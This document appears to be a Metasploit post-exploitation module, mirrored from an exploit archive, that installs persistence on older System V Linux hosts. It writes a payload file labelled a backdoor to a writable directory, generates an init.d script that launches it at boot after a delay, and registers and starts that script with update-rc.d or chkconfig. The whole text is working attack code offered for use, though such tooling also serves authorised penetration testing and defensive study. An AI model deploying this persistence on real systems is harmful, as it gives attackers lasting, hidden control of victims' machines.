Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service System V Persistence',
        'Description' => %q{
          This module will create a service via System V on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services.

          Some systems include backwards compatibility, such as Ubuntu up to about 16.04.

          Targets:
          CentOS <= 5
          Debian <= 6
          Kali 2.0
          Ubuntu <= 6.06
          Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.

          Verified on Kali 2.0, Ubuntu 10.04
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'System V', {
              runlevel: '2 3 4 5'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '1983-01-01' # system v release date
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')

    has_updatercd = command_exists?('update-rc.d')
    if has_updatercd || command_exists?('chkconfig') # centos 5
      return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
    end

    CheckCode::Safe('Likely not a System V based system')
  end

  def install_persistence
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]

    system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o755)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    @clean_up_rc << "rm #{backdoor}\n"

    if file_exist?(backdoor)
      chmod(backdoor, 0o711)
      return backdoor
    end
    fail_with(Failure::NoAccess, 'File not written, check permissions.')
  end

  def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
    if has_updatercd
      vprint_status('Utilizing update-rc.d')
    else
      vprint_status('Utilizing chkconfig')
    end

    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)

    script = <<~EOF
      #!/bin/sh
      ### BEGIN INIT INFO
      # Provides:          #{service_filename}
      # Required-Start:    $network
      # Required-Stop:     $network
      # Default-Start:     #{runlevel}
      # Default-Stop:      0 1 6
      # Short-Description: Start daemon at boot time
      # Description:       Enable service provided by daemon.
      ### END INIT INFO
      DIR="#{backdoor_path}"
      CMD="#{backdoor_file}"
      NAME="$(basename "$0")"
      PID_FILE="/var/run/$NAME.pid"
      STDOUT_LOG="/var/log/$NAME.log"
      STDERR_LOG="/var/log/$NAME.err"
      get_pid() {
          [ -f "$PID_FILE" ] && cat "$PID_FILE"
      }
      is_running() {
          PID=$(get_pid)
          [ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
      }
      start_service() {
          if is_running; then
              echo "$NAME is already running."
              return 0
          fi
          echo "Starting $NAME..."
          sleep 10 && $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &
          echo $! > "$PID_FILE"
          sleep 1
          if is_running; then
              echo "$NAME started successfully."
          else
              echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"
              exit 1
          fi
      }
      stop_service() {
          if ! is_running; then
              echo "$NAME is not running."
              return 0
          fi
          echo "Stopping $NAME..."
          kill "$(get_pid)" && rm -f "$PID_FILE"
          for i in $(seq 1 10); do
              if ! is_running; then
                  echo "$NAME stopped."
                  return 0
              fi
              sleep 1
          done
          echo "Failed to stop $NAME."
          exit 1
      }
      case "$1" in
          start) start_service ;;
          stop) stop_service ;;
          restart)
              stop_service
              start_service
              ;;
          status)
              if is_running; then
                  echo "$NAME is running."
              else
                  echo "$NAME is stopped."
                  exit 1
              fi
              ;;
          *)
              echo "Usage: $0 {start|stop|restart|status}"
              exit 1
              ;;
      esac
      exit 0
    EOF

    service_name = "/etc/init.d/#{service_filename}"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

    @clean_up_rc << "rm #{service_name}\n"
    @clean_up_rc << "rm /var/log/#{service_name}.log\n"
    @clean_up_rc << "rm /var/log/#{service_name}.err\n"
    chmod(service_name, 0o755)
    print_good('Enabling & starting our service (10 second delay for payload)')
    if has_updatercd
      cmd_exec("update-rc.d #{service_filename} defaults")
      cmd_exec("update-rc.d #{service_filename} enable")
      if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
        cmd_exec("service #{service_filename} start")
      else
        cmd_exec("/etc/init.d/#{service_filename} start")
      end
    else # CentOS
      cmd_exec("chkconfig --add #{service_filename}")
      cmd_exec("chkconfig #{service_filename} on")
      cmd_exec("/etc/init.d/#{service_filename} start")
    end
  end
end